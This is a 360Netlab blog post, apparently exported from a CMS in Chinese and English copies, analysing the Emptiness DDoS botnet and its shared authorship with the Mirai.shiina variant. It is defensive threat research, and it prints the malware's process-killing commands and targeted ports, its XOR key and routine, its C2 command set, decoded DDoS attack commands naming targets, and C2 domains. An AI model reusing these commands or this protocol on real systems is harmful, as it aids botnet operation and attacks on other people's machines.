| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# 背景\n2019年06月23日我们捕获了一个全新的DDoS僵尸网络样本，因其启动时设置的进程名以及C2中有emptiness字样，所以我们将其命名为Emptiness。Emptiness由golang编写，当前发现的样本包括Windows和Linux两种平台版本。在溯源过程中，我们发现其作者长期维护着一个mirai变种僵尸网络，早期的Emptiness自身没有传播能力只有DDoS功能，是由mirai loader来完成样本植入的，后期的版本增加了ssh扫描功能，可独立完成Emptiness自身样本的传播。我们还注意到其不断修改mirai变种和Emptiness的CC协议，也许是为了对抗安全研究人员跟踪其僵尸网络攻击行为。\n\n# Emptiness的那些事\n* 我们猜测其最早出现时间应该是2019年06月09日，遗憾的是当时我们并没有成功下载到`http:[//blogentry.hopto.org/emptiness`相关的样本。下图是我们捕获这个URL的时间，\n\n\n* 2019-06-23日我们首次捕获到该僵尸网络样本v1版本\n* 2019-06-26日我们首次捕获到该僵尸网络样本v1.1版本\n* 2019-07-03日我们[曝光了其DDoS攻击行为](https://twitter.com/360Netlab/status/1146269649887272960)\n \n* 2019-07-06作者更新v2版本样本，并在样本中留下了一匹\"羊驼\"。表示想要和我们强行发生关系。\n \n \n# Emptiness样本分析\n通过上线包，支持的指令，资源加密等特征的变化，可以得知其作者正在积极的进行迭代开发，我们将捕获到的样本分成３个版本，以下是它们的详细对比图:\n\n\n３个版本都使用了标准UPX壳，使用upx -d 即可脱壳。脱壳后知道这个家族是用Go语言的编写的，主要逻辑在main包里实现，函数对比如下图所示，根据函数的功能，下文将从**主机行为**，**数据编码&加密**，**CC流量**这３个维度来剖析Emptiness。\n\n\n<center>各版本函数对比图</center>\n\n\n### 主机行为\n\nEmptiness在主机行为层面，并无太多特色，都是些常见操作，比如确保单一实例，修改进程名，关闭watchdog，清理history记录，删除系统命令，关闭系统服务之类。唯一值得一提的是会通过**main_killer_init**函数结束占用特定端口的进程。\n\n* 目的：杀死竞争对手bot，关闭常见可感染端口，达到独占受害者机器的目的\n\n* 杀死进程实现方法\n\n * V1 & V1.1\n\n ```\n fuser -k -n tcp \n ```\n\n * V2\n\n ```\n 1:\tfuser -k /tcp\n 2:\tlsof -i tcp:%s | grep LISTEN | awk '{print $2}' | xargs kill -9\n ```\n\n* 杀死占用以下端口的进程：\n\n ```\n \"22\"\n \"23\"\n \"80\"\n \"420\"\n \"1337\"\n \"1991\"\n \"5332\"\n \"6553\"\n \"6554\"\n \"6666\"\n \"6667\"\n \"6697\"\n \"18904\"\n \"37215\"\n \"42026\"\n \"48101\"\n \"52869\"\n \"57643\"\n ```\n\n### 数据编码&加密\n\n我们将以上线包为例来说明Emptiness不同版本所使用的数据编码&加密方法。\n\n#### 数据编码&加密代码对比\n\n* V1版本无特殊编码/加密资源\n \n \n\n* V1.1版本Base64编码通信包\n \n\n\n* V2版本使用XOR加密，Base64编码通信包，CC等敏感资源。\n\n * \n\n * XOR加密算法（golang code）\n\n```\nfunc (empt *Emptiness) Xor(data []byte) []byte {\n\n key := \"B2BB01039307BAA2\"\n xorKey, _ := hex.DecodeString(key)\n keyLen := len(xorKey)\n\n for idx, item := range data {\n data[idx] = item ^ xorKey[idx%keyLen]\n }\n\n return data\n}\n```\n\n### CC流量\n\n#### 指令\n\n* V1&V1.1版本支持的指令\n\n ```\n .cc\n .udp\n .dns\n .http\n .stop\n ```\n \n* V2版本支持的指令\n\n ```\n .cc\n .dns\n .udp\n .http\n .stop\n .exec\n .slow\n .kill\n .update\n ```\n\n \n\n#### 上线包\n\n* V1版本\n\n ```\n 00000000 69 6c 6f 76 65 32 36 |ilove26|\n ```\n \n* V1.1版本\n\n ```\n 00000000 61 57 78 76 64 6d 55 79 4e 67 3d 3d |aWxvdmUyNg==|\n Base64编码，解码后为ilove26\n ```\n \n* V2版本\n\n ```\n 00000000 64 33 65 63 37 39 37 35 66 37 36 61 65 66 64 62 |d3ec7975f76aefdb|\n 00000010 66 63 64 63 33 63 33 65 |fcdc3c3e|\n XOR加密，解密后为aWxvdmUyNg==\n Base64编码，解码后为ilove26\n ```\n\n \n#### DDoS攻击包示例\n\n* udp攻击\n```\nLnVkcCAxMi4xNjIuMjIwLjEwNiA4MCAyNTYgNTUgNzIw\nBase64编码，解码后为\n00000000 2e 75 64 70 20 31 32 2e 31 36 32 2e 32 32 30 2e |.udp 12.162.220.|\n00000010 31 30 36 20 38 30 20 32 35 36 20 35 35 20 37 32 |106 80 256 55 72|\n00000020 30 |0| \n```\n\n* http攻击\n```\nLmh0dHAgd3d3LmxscnJ5LmNuIDgwIC8gNjAgNjA=\nBase64编码，解码后为\n00000000 2e 68 74 74 70 20 77 77 77 2e 6c 6c 72 72 79 2e |.http www.llrry.|\n00000010 63 6e 20 38 30 20 2f 20 36 30 20 36 30 |cn 80 / 60 60|\n```\n\n# Emptiness与mirai.shiina的关系\n我们观察到Emptiness v2使用的4个CC其中2个（ `luckyhere.mashiro.tk`\n和 `imtesting.shiina.ga`）曾经被另外一个mirai变种作为CC被使用过，相关mirai样本`f6e9f3567684a0a7402ad97209b8525b`。根据其可感染环境验证命令`/bin/busybox SHIINA`以及常用样本文件名称`shiina.{arch}`等我们将该mirai变种命名为mirai.shiina。通过共用相同CC这一点，直接证明Emptiness和mirai.shiina属于同一个作者。\n\n# 关于mirai.shiina\n从我们的数据看该僵尸网络的作者至少从2019年03月到2019年07月一直运营着这个僵尸网络。仅从CC协议差异的角度，大致可将mirai.shiina分为4个版本，各版本部分样本信息如下：\n<a href=\"__GHOST_URL__/content/images/2019/08/mirai.shiina.diff.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2019/08/mirai.shiina.diff.min.png\" /></a>\n\n \n可以看出作者一直在持续更新其样本，后期不断修改CC协议，也许是为了对抗安全研究人员跟踪其僵尸网络？另外从我们跟踪结果看，该僵尸网络的攻击指令从未间断，一直处于活跃状态。下图是一些攻击指令示例：\n<a href=\"__GHOST_URL__/content/images/2019/08/mirai.shiina.cmd.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2019/08/mirai.shiina.cmd.min.png\" /></a><center>mirai.shiina DDoS 攻击指令</center>\n\n# 我们好奇作者为什么要新建一个emptiness僵尸网络\n从前面的分析可以看出，作者长期在维护这个mirai.shiina僵尸网络，从不断有攻击指令看估计也控制了不少肉鸡。既然已经有一个发起可以攻击僵尸网络，为什么还要建一个新的呢？真实原因不得而知。我们猜测也许是为了：\n* 跨平台？Emptiness由golang编写。golang天生强大的可移植性，用golang编写代码可轻松实现跨平台。当前golang已支持的平台包括`android/arm`，`darwin/arm`，`linux/arm`，`windows/arm`等40多种。\n* 逃避杀毒引擎检测？我们都知道mirai烂大街，大部分杀毒引擎都能检测出来。作者构建一个全新的出来了也许是为了降低杀毒引擎检出率。我们将其中一个样本投递到[VT](https://www.virustotal.com/gui/file/780583f9c8f9da8c4bd2773dff4ca608395ad284908134be72499ed00ae6eab6/detection/f-780583f9c8f9da8c4bd2773dff4ca608395ad284908134be72499ed00ae6eab6-1565015313)，只有一家杀毒引擎检测为恶意软件，其他厂家均未检出。\n \n# IoC\n### Emptiness CC\n```\nemp.web2tor.cf\nbruhitsnot.tk\nbruhitsnot.cf\nemptiness.web2tor.cf\nversion2.ilove26.cf\nluckyhere.mashiro.tk\nimtesting.shiina.ga\nggwp.emptiness.tk\n```\n\n### Emptiness Sample MD5\n```\nf41464471a0ac9c165e4aeb55283934e\n420bb6147ca091a22f8f5bbbb49d51f3\n7b1943ff6c563ce1043963e2f017ad8d\n53bb43411ecbad39b18b0662b53c07a0\n1899667e48c64b113c0de54cf3bb63d5\n```\n\n### Mirai.shiina CC\n```\n34.80.131.135\nshiina.mashiro.tk\nshiina.mashiro.tk\nluckyhere.mashiro.tk\nimtesting.shiina.ga\n```\n\n### Mirai.shiina Sample MD5\n```\n77e7dd8982e7bb21d536264f0635d5cb\n209a78969d88c667c32e550ce47b8ff9\n0cf288e07e888cd7748b30fa4a67ca84\nf6e9f3567684a0a7402ad97209b8525b\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5d401f300bbc140007c57e3f |
post | null | 2019-08-08T11:33:11.000Z | 63873b9a8b1c1e0007f52f56 | emptiness-a-new-evolving-botnet | 0 | 2019-08-09T14:00:00.000Z | public | published | null | 2019-08-09T14:00:00.000Z | Emptiness: A New Evolving Botnet | <!--kg-card-begin: markdown--><h1 id="background">Background</h1>
<p>Our honeypot system captured a new DDoS botnet sample on 2019-06-23. We named it Emptiness which comes from the running process name as well as its C2 domain. Emptiness is written by Golang and supports both Windows and Linux. Our further analysis reveal its iterative evolution: the early version Emptiness was only armed with DDoS function and was propagated through Mirai.shiina variant botnet that had been run by the same author for a long time. The latter version Emptiness was added with ssh scan to enable self-propagation. Besides, C2 communication protocols of both Emptiness and Mirai.shiina kept changing constantly, which increases the difficulty of being tracked by security researchers.</p>
<h1 id="thetimelineofemptiness">The Timeline of Emptiness</h1>
<ul>
<li>
<p>2019-06-09: we first observed Emptiness download URL,but was not able to download the bot sample at that time.<br>
<img src="__GHOST_URL__/content/images/2019/08/Snip20190802_94.png" alt="Snip20190802_94" loading="lazy"></p>
</li>
<li>
<p>2019-06-23: we captured bot sample Emptiness.V1</p>
</li>
<li>
<p>2019-06-26: we captured bot sample Emptiness.V1.1</p>
</li>
<li>
<p>2019-07-03: we exposed <a href="https://twitter.com/360Netlab/status/1146269649887272960">DDoS attacks launched</a> by Emptiness.v1.1</p>
</li>
<li>
<p>2019-07-06: we captured bot sample Emptiness.v2, which said hello to us (360Netlab) "politely".<br>
<img src="__GHOST_URL__/content/images/2019/07/image--4--1.png" alt="image--4--1" loading="lazy"></p>
</li>
</ul>
<h1 id="emptinesssampleanalysis">Emptiness Sample Analysis</h1>
<p>The following table summarizes the main differences between three versions of Emptiness.<br>
<img src="__GHOST_URL__/content/images/2019/08/emptiness.diff.min.png" alt="emptiness.diff.min" loading="lazy"></p>
<p>All these three versions are written by Golang and are protected by standard UPX. As shown in the following figure, their main function logics are mainly implemented in main package and can be categorized into three aspects: host behavior, data encoding/encryption and C2 protocol. Next we will introduce Emptiness from these three aspects.<br>
<img src="__GHOST_URL__/content/images/2019/08/em_cmp-1.png" alt="em_cmp-1" loading="lazy"></p>
<h3 id="hostbehavior">Host Behavior</h3>
<p>Most host behaviors performed by Emptiness are common operations, such as ensuring singleton, modifying process name, turn off watchdog, clear history logs, delete system command, stop system service and so on. The only thing worth to note is that Emptiness will kill process using specific ports through its main_killer_init function. In this way, it can remove bot competitors and close vulnerable ports and thus occupy victim machine exclusively. The following figures show its methods of killing process and the ports it intends to kill.</p>
<ul>
<li>
<p>Methods of killing process</p>
<ul>
<li>
<p>V1 & V1.1</p>
<pre><code>fuser -k -n tcp
</code></pre>
</li>
<li>
<p>V2</p>
<pre><code>1: fuser -k /tcp
2: lsof -i tcp:%s | grep LISTEN | awk '{print $2}' | xargs kill -9
</code></pre>
</li>
</ul>
</li>
<li>
<p>Ports it intends to kill：</p>
<pre><code>"22"
"23"
"80"
"420"
"1337"
"1991"
"5332"
"6553"
"6554"
"6666"
"6667"
"6697"
"18904"
"37215"
"42026"
"48101"
"52869"
"57643"
</code></pre>
</li>
</ul>
<h3 id="dataencodingandencryption">Data Encoding and Encryption</h3>
<p>We demonstrate how Emptiness encodes or encrypts data in different versions using its register message.</p>
<ul>
<li>
<p>Emptiness.V1 communicate through plaintext and no encoding or encryption is involved.<br>
<img src="__GHOST_URL__/content/images/2019/08/v1_reg.png" alt="v1_reg" loading="lazy"></p>
</li>
<li>
<p>Emptiness.V1.1 encodes the message with Base64<br>
<img src="__GHOST_URL__/content/images/2019/08/v1b_reg-1.png" alt="v1b_reg-1" loading="lazy"></p>
</li>
<li>
<p>Emptiness.V2 first encodes the message with Base64, then encrypts it with XOR transformation and the XOR key is “B2BB01039307BAA2"</p>
<ul>
<li><img src="__GHOST_URL__/content/images/2019/08/v2_reg-1.png" alt="v2_reg-1" loading="lazy"></li>
</ul>
</li>
</ul>
<h3 id="c2protocol">C2 Protocol</h3>
<h4 id="registermessage">Register Message</h4>
<ul>
<li>
<p>Emptiness.v1</p>
<pre><code>00000000 69 6c 6f 76 65 32 36 |ilove26|
</code></pre>
</li>
<li>
<p>Emptiness.v1.1</p>
<pre><code>00000000 61 57 78 76 64 6d 55 79 4e 67 3d 3d |aWxvdmUyNg==|
Base64 encode，plaintext is：ilove26
</code></pre>
</li>
<li>
<p>Emptiness.v2</p>
<pre><code>00000000 64 33 65 63 37 39 37 35 66 37 36 61 65 66 64 62 |d3ec7975f76aefdb|
00000010 66 63 64 63 33 63 33 65 |fcdc3c3e|
Base64 encode and then XOR transformation，plaintext is：ilove26
</code></pre>
</li>
</ul>
<h4 id="supportedcommand">Supported Command</h4>
<ul>
<li>
<p>Emptiness.V1 and Emptiness.V1.1</p>
<pre><code>.cc
.udp
.dns
.http
.stop
</code></pre>
</li>
<li>
<p>Emptiness.V2</p>
<pre><code>.cc
.dns
.udp
.http
.stop
.exec
.slow
.kill
.update
</code></pre>
</li>
</ul>
<h4 id="examplesofddosattackcommand">Examples of DDoS Attack Command</h4>
<ul>
<li>UDP attack</li>
</ul>
<pre><code>LnVkcCAxMi4xNjIuMjIwLjEwNiA4MCAyNTYgNTUgNzIw
Base64 decode
00000000 2e 75 64 70 20 31 32 2e 31 36 32 2e 32 32 30 2e |.udp 12.162.220.|
00000010 31 30 36 20 38 30 20 32 35 36 20 35 35 20 37 32 |106 80 256 55 72|
00000020 30 |0|
</code></pre>
<ul>
<li>HTTP attack</li>
</ul>
<pre><code>Lmh0dHAgd3d3LmxscnJ5LmNuIDgwIC8gNjAgNjA=
Base64 decode
00000000 2e 68 74 74 70 20 77 77 77 2e 6c 6c 72 72 79 2e |.http www.llrry.|
00000010 63 6e 20 38 30 20 2f 20 36 30 20 36 30 |cn 80 / 60 60|
</code></pre>
<h1 id="therelationbetweenemptinessandmiraishiina">The Relation between Emptiness and Mirai.shiina</h1>
<p>Two of the four Emptiness.V2 C2 servers(<code>luckyhere.mashiro.tk</code> and <code>imtesting.shiina.ga</code>) were used by mirai variant. Mirai.shiina and the corresponding sample is <code>f6e9f3567684a0a7402ad97209b8525b</code>. We name it Mirai.shiina based on its infection command <code>/bin/busybox SHIINA</code> and its sample file name <code>shine.{arch}</code>. Sharing the same C2 server strongly indicates that Emptiness and Mirai.shiina belong to the same author.</p>
<h1 id="moreinfoaboutmiraishiina">More Info about Mirai.shiina</h1>
<p>Our monitor system shows that Mirai.shiina botnet was running at least from 2019-03 to 2019-07 and during this period it was very active and deliver attack command frequently. The figure below shows some example of its attack commands.<br>
<a href="__GHOST_URL__/content/images/2019/08/mirai.shiina.cmd.png" target="_blank"><img src="__GHOST_URL__/content/images/2019/08/mirai.shiina.cmd.min.png" /></a></p>
<p>Besides, we can divide Mirai.shiina into four versions according to the difference of its C2 protocol, see the following table and we infer that the author kept modifying C2 protocol continuously to prevent from being tracked.<br>
<a href="__GHOST_URL__/content/images/2019/08/mirai.shiina.diff.png" target="_blank"><img src="__GHOST_URL__/content/images/2019/08/mirai.shiina.diff.min.png" /></a></p>
<h1 id="questionwhytheauthorwantstobuildthenewemptinessbotnet">Question: Why the author wants to build the new Emptiness Botnet?</h1>
<p>According to the above analysis, we know that the author of Emptiness has also run Mirai.shiina botnet for a long time, which is active to launch DDoS attacks and seems to own quite a few bots. So why the author still wants to build the new Emptiness botnet? We guess the reasons behind are:</p>
<ul>
<li>To support cross platform. Emptiness is written by Golang, which can be easily migrated across different platform. Golang currently supports more than 40 platforms, including <code>android/arm</code>, <code>Darwin/arm</code>, <code>linux/arm</code>, <code>windows/arm</code>, etc.</li>
<li>To evade detection. Today Mirai is commonly known and can be detected by most of anti-virus engines. Developing a completely new botnet can greatly decrease the risk of being detected. As an example, we submit one Emptiness sample to <a href="https://www.virustotal.com/gui/file/780583f9c8f9da8c4bd2773dff4ca608395ad284908134be72499ed00ae6eab6/detection/f-780583f9c8f9da8c4bd2773dff4ca608395ad284908134be72499ed00ae6eab6-1565015313">VT</a> and found that only one anti-virus vendor identified it as malware.</li>
</ul>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h1 id="ioc">IoC</h1>
<h3 id="emptinesscc">Emptiness CC</h3>
<pre><code>emp.web2tor.cf
bruhitsnot.tk
bruhitsnot.cf
emptiness.web2tor.cf
version2.ilove26.cf
luckyhere.mashiro.tk
imtesting.shiina.ga
ggwp.emptiness.tk
</code></pre>
<h3 id="emptinesssamplemd5">Emptiness Sample MD5</h3>
<pre><code>f41464471a0ac9c165e4aeb55283934e
420bb6147ca091a22f8f5bbbb49d51f3
7b1943ff6c563ce1043963e2f017ad8d
53bb43411ecbad39b18b0662b53c07a0
1899667e48c64b113c0de54cf3bb63d5
</code></pre>
<h3 id="miraishiinacc">Mirai.shiina CC</h3>
<pre><code>34.80.131.135
shiina.mashiro.tk
luckyhere.mashiro.tk
imtesting.shiina.ga
</code></pre>
<h3 id="miraishiinasamplemd5">Mirai.shiina Sample MD5</h3>
<pre><code>77e7dd8982e7bb21d536264f0635d5cb
209a78969d88c667c32e550ce47b8ff9
0cf288e07e888cd7748b30fa4a67ca84
f6e9f3567684a0a7402ad97209b8525b
</code></pre>
<!--kg-card-end: markdown--> | Background
Our honeypot system captured a new DDoS botnet sample on 2019-06-23. We named it Emptiness which comes from the running process name as well as its C2 domain. Emptiness is written by Golang and supports both Windows and Linux. Our further analysis reveal its iterative evolution: the early version Emptiness was only armed with DDoS function and was propagated through Mirai.shiina variant botnet that had been run by the same author for a long time. The latter version Emptiness was added with ssh scan to enable self-propagation. Besides, C2 communication protocols of both Emptiness and Mirai.shiina kept changing constantly, which increases the difficulty of being tracked by security researchers.
The Timeline of Emptiness
*
2019-06-09: we first observed Emptiness download URL,but was not able to download the bot sample at that time.
*
2019-06-23: we captured bot sample Emptiness.V1
*
2019-06-26: we captured bot sample Emptiness.V1.1
*
2019-07-03: we exposed DDoS attacks launched by Emptiness.v1.1
*
2019-07-06: we captured bot sample Emptiness.v2, which said hello to us (360Netlab) "politely".
Emptiness Sample Analysis
The following table summarizes the main differences between three versions of Emptiness.
All these three versions are written by Golang and are protected by standard UPX. As shown in the following figure, their main function logics are mainly implemented in main package and can be categorized into three aspects: host behavior, data encoding/encryption and C2 protocol. Next we will introduce Emptiness from these three aspects.
Host Behavior
Most host behaviors performed by Emptiness are common operations, such as ensuring singleton, modifying process name, turn off watchdog, clear history logs, delete system command, stop system service and so on. The only thing worth to note is that Emptiness will kill process using specific ports through its main_killer_init function. In this way, it can remove bot competitors and close vulnerable ports and thus occupy victim machine exclusively. The following figures show its methods of killing process and the ports it intends to kill.
*
Methods of killing process
*
V1 & V1.1
fuser -k -n tcp
*
V2
1: fuser -k /tcp
2: lsof -i tcp:%s | grep LISTEN | awk '{print $2}' | xargs kill -9
*
Ports it intends to kill：
"22"
"23"
"80"
"420"
"1337"
"1991"
"5332"
"6553"
"6554"
"6666"
"6667"
"6697"
"18904"
"37215"
"42026"
"48101"
"52869"
"57643"
Data Encoding and Encryption
We demonstrate how Emptiness encodes or encrypts data in different versions using its register message.
*
Emptiness.V1 communicate through plaintext and no encoding or encryption is involved.
*
Emptiness.V1.1 encodes the message with Base64
*
Emptiness.V2 first encodes the message with Base64, then encrypts it with XOR transformation and the XOR key is “B2BB01039307BAA2"
*
C2 Protocol
Register Message
*
Emptiness.v1
00000000 69 6c 6f 76 65 32 36 |ilove26|
*
Emptiness.v1.1
00000000 61 57 78 76 64 6d 55 79 4e 67 3d 3d |aWxvdmUyNg==|
Base64 encode，plaintext is：ilove26
*
Emptiness.v2
00000000 64 33 65 63 37 39 37 35 66 37 36 61 65 66 64 62 |d3ec7975f76aefdb|
00000010 66 63 64 63 33 63 33 65 |fcdc3c3e|
Base64 encode and then XOR transformation，plaintext is：ilove26
Supported Command
*
Emptiness.V1 and Emptiness.V1.1
.cc
.udp
.dns
.http
.stop
*
Emptiness.V2
.cc
.dns
.udp
.http
.stop
.exec
.slow
.kill
.update
Examples of DDoS Attack Command
* UDP attack
LnVkcCAxMi4xNjIuMjIwLjEwNiA4MCAyNTYgNTUgNzIw
Base64 decode
00000000 2e 75 64 70 20 31 32 2e 31 36 32 2e 32 32 30 2e |.udp 12.162.220.|
00000010 31 30 36 20 38 30 20 32 35 36 20 35 35 20 37 32 |106 80 256 55 72|
00000020 30 |0|
* HTTP attack
Lmh0dHAgd3d3LmxscnJ5LmNuIDgwIC8gNjAgNjA=
Base64 decode
00000000 2e 68 74 74 70 20 77 77 77 2e 6c 6c 72 72 79 2e |.http www.llrry.|
00000010 63 6e 20 38 30 20 2f 20 36 30 20 36 30 |cn 80 / 60 60|
The Relation between Emptiness and Mirai.shiina
Two of the four Emptiness.V2 C2 servers(luckyhere.mashiro.tk and imtesting.shiina.ga) were used by mirai variant. Mirai.shiina and the corresponding sample is f6e9f3567684a0a7402ad97209b8525b. We name it Mirai.shiina based on its infection command /bin/busybox SHIINA and its sample file name shine.{arch}. Sharing the same C2 server strongly indicates that Emptiness and Mirai.shiina belong to the same author.
More Info about Mirai.shiina
Our monitor system shows that Mirai.shiina botnet was running at least from 2019-03 to 2019-07 and during this period it was very active and deliver attack command frequently. The figure below shows some example of its attack commands.
Besides, we can divide Mirai.shiina into four versions according to the difference of its C2 protocol, see the following table and we infer that the author kept modifying C2 protocol continuously to prevent from being tracked.
Question: Why the author wants to build the new Emptiness Botnet?
According to the above analysis, we know that the author of Emptiness has also run Mirai.shiina botnet for a long time, which is active to launch DDoS attacks and seems to own quite a few bots. So why the author still wants to build the new Emptiness botnet? We guess the reasons behind are:
* To support cross platform. Emptiness is written by Golang, which can be easily migrated across different platform. Golang currently supports more than 40 platforms, including android/arm, Darwin/arm, linux/arm, windows/arm, etc.
* To evade detection. Today Mirai is commonly known and can be detected by most of anti-virus engines. Developing a completely new botnet can greatly decrease the risk of being detected. As an example, we submit one Emptiness sample to VT and found that only one anti-virus vendor identified it as malware.
Contact us
Readers are always welcomed to reach us on twitter, WeChat 360Netlab or email to netlab at 360 dot cn.
IoC
Emptiness CC
emp.web2tor.cf
bruhitsnot.tk
bruhitsnot.cf
emptiness.web2tor.cf
version2.ilove26.cf
luckyhere.mashiro.tk
imtesting.shiina.ga
ggwp.emptiness.tk
Emptiness Sample MD5
f41464471a0ac9c165e4aeb55283934e
420bb6147ca091a22f8f5bbbb49d51f3
7b1943ff6c563ce1043963e2f017ad8d
53bb43411ecbad39b18b0662b53c07a0
1899667e48c64b113c0de54cf3bb63d5
Mirai.shiina CC
34.80.131.135
shiina.mashiro.tk
luckyhere.mashiro.tk
imtesting.shiina.ga
Mirai.shiina Sample MD5
77e7dd8982e7bb21d536264f0635d5cb
209a78969d88c667c32e550ce47b8ff9
0cf288e07e888cd7748b30fa4a67ca84
f6e9f3567684a0a7402ad97209b8525b
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Background\nOur honeypot system captured a new DDoS botnet sample on 2019-06-23. We named it Emptiness which comes from the running process name as well as its C2 domain. Emptiness is written by Golang and supports both Windows and Linux. Our further analysis reveal its iterative evolution: the early version Emptiness was only armed with DDoS function and was propagated through Mirai.shiina variant botnet that had been run by the same author for a long time. The latter version Emptiness was added with ssh scan to enable self-propagation. Besides, C2 communication protocols of both Emptiness and Mirai.shiina kept changing constantly, which increases the difficulty of being tracked by security researchers.\n\n# The Timeline of Emptiness\n* 2019-06-09: we first observed Emptiness download URL,but was not able to download the bot sample at that time.\n\n\n* 2019-06-23: we captured bot sample Emptiness.V1\n* 2019-06-26: we captured bot sample Emptiness.V1.1\n* 2019-07-03: we exposed [DDoS attacks launched](https://twitter.com/360Netlab/status/1146269649887272960) by Emptiness.v1.1\n* 2019-07-06: we captured bot sample Emptiness.v2, which said hello to us (360Netlab) \"politely\".\n \n \n# Emptiness Sample Analysis\nThe following table summarizes the main differences between three versions of Emptiness. \n\n\nAll these three versions are written by Golang and are protected by standard UPX. As shown in the following figure, their main function logics are mainly implemented in main package and can be categorized into three aspects: host behavior, data encoding/encryption and C2 protocol. Next we will introduce Emptiness from these three aspects.\n\n\n\n\n### Host Behavior\nMost host behaviors performed by Emptiness are common operations, such as ensuring singleton, modifying process name, turn off watchdog, clear history logs, delete system command, stop system service and so on. The only thing worth to note is that Emptiness will kill process using specific ports through its main_killer_init function. In this way, it can remove bot competitors and close vulnerable ports and thus occupy victim machine exclusively. The following figures show its methods of killing process and the ports it intends to kill.\n\n* Methods of killing process\n\n * V1 & V1.1\n\n ```\n fuser -k -n tcp \n ```\n\n * V2\n\n ```\n 1:\tfuser -k /tcp\n 2:\tlsof -i tcp:%s | grep LISTEN | awk '{print $2}' | xargs kill -9\n ```\n\n* Ports it intends to kill：\n\n ```\n \"22\"\n \"23\"\n \"80\"\n \"420\"\n \"1337\"\n \"1991\"\n \"5332\"\n \"6553\"\n \"6554\"\n \"6666\"\n \"6667\"\n \"6697\"\n \"18904\"\n \"37215\"\n \"42026\"\n \"48101\"\n \"52869\"\n \"57643\"\n ```\n\n### Data Encoding and Encryption\n\nWe demonstrate how Emptiness encodes or encrypts data in different versions using its register message.\n\n\n* Emptiness.V1 communicate through plaintext and no encoding or encryption is involved.\n \n \n\n* Emptiness.V1.1 encodes the message with Base64\n \n\n\n* Emptiness.V2 first encodes the message with Base64, then encrypts it with XOR transformation and the XOR key is “B2BB01039307BAA2\"\n\n * \n\n\n### C2 Protocol\n\n#### Register Message\n\n* Emptiness.v1\n\n ```\n 00000000 69 6c 6f 76 65 32 36 |ilove26|\n ```\n \n* Emptiness.v1.1\n\n ```\n 00000000 61 57 78 76 64 6d 55 79 4e 67 3d 3d |aWxvdmUyNg==|\n Base64 encode，plaintext is：ilove26\n ```\n \n* Emptiness.v2\n\n ```\n 00000000 64 33 65 63 37 39 37 35 66 37 36 61 65 66 64 62 |d3ec7975f76aefdb|\n 00000010 66 63 64 63 33 63 33 65 |fcdc3c3e|\n Base64 encode and then XOR transformation，plaintext is：ilove26\n ```\n\n#### Supported Command\n\n* Emptiness.V1 and Emptiness.V1.1\n\n ```\n .cc\n .udp\n .dns\n .http\n .stop\n ```\n \n* Emptiness.V2\n\n ```\n .cc\n .dns\n .udp\n .http\n .stop\n .exec\n .slow\n .kill\n .update\n ```\n \n#### Examples of DDoS Attack Command\n\n* UDP attack\n```\nLnVkcCAxMi4xNjIuMjIwLjEwNiA4MCAyNTYgNTUgNzIw\nBase64 decode\n00000000 2e 75 64 70 20 31 32 2e 31 36 32 2e 32 32 30 2e |.udp 12.162.220.|\n00000010 31 30 36 20 38 30 20 32 35 36 20 35 35 20 37 32 |106 80 256 55 72|\n00000020 30 |0| \n```\n\n* HTTP attack\n```\nLmh0dHAgd3d3LmxscnJ5LmNuIDgwIC8gNjAgNjA=\nBase64 decode\n00000000 2e 68 74 74 70 20 77 77 77 2e 6c 6c 72 72 79 2e |.http www.llrry.|\n00000010 63 6e 20 38 30 20 2f 20 36 30 20 36 30 |cn 80 / 60 60|\n```\n\n# The Relation between Emptiness and Mirai.shiina\nTwo of the four Emptiness.V2 C2 servers(`luckyhere.mashiro.tk` and `imtesting.shiina.ga`) were used by mirai variant. Mirai.shiina and the corresponding sample is `f6e9f3567684a0a7402ad97209b8525b`. We name it Mirai.shiina based on its infection command `/bin/busybox SHIINA` and its sample file name `shine.{arch}`. Sharing the same C2 server strongly indicates that Emptiness and Mirai.shiina belong to the same author.\n\n# More Info about Mirai.shiina\nOur monitor system shows that Mirai.shiina botnet was running at least from 2019-03 to 2019-07 and during this period it was very active and deliver attack command frequently. The figure below shows some example of its attack commands. \n<a href=\"__GHOST_URL__/content/images/2019/08/mirai.shiina.cmd.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2019/08/mirai.shiina.cmd.min.png\" /></a>\n\nBesides, we can divide Mirai.shiina into four versions according to the difference of its C2 protocol, see the following table and we infer that the author kept modifying C2 protocol continuously to prevent from being tracked.\n<a href=\"__GHOST_URL__/content/images/2019/08/mirai.shiina.diff.png\" target=\"_blank\"><img src=\"__GHOST_URL__/content/images/2019/08/mirai.shiina.diff.min.png\" /></a>\n\n# Question: Why the author wants to build the new Emptiness Botnet?\n\nAccording to the above analysis, we know that the author of Emptiness has also run Mirai.shiina botnet for a long time, which is active to launch DDoS attacks and seems to own quite a few bots. So why the author still wants to build the new Emptiness botnet? We guess the reasons behind are:\n - To support cross platform. Emptiness is written by Golang, which can be easily migrated across different platform. Golang currently supports more than 40 platforms, including `android/arm`, `Darwin/arm`, `linux/arm`, `windows/arm`, etc.\n - To evade detection. Today Mirai is commonly known and can be detected by most of anti-virus engines. Developing a completely new botnet can greatly decrease the risk of being detected. As an example, we submit one Emptiness sample to [VT](https://www.virustotal.com/gui/file/780583f9c8f9da8c4bd2773dff4ca608395ad284908134be72499ed00ae6eab6/detection/f-780583f9c8f9da8c4bd2773dff4ca608395ad284908134be72499ed00ae6eab6-1565015313) and found that only one anti-virus vendor identified it as malware.\n\n# Contact us\nReaders are always welcomed to reach us on [twitter](https://twitter.com/360Netlab), WeChat 360Netlab or email to netlab at 360 dot cn.\n \n# IoC\n### Emptiness CC\n```\nemp.web2tor.cf\nbruhitsnot.tk\nbruhitsnot.cf\nemptiness.web2tor.cf\nversion2.ilove26.cf\nluckyhere.mashiro.tk\nimtesting.shiina.ga\nggwp.emptiness.tk\n```\n\n### Emptiness Sample 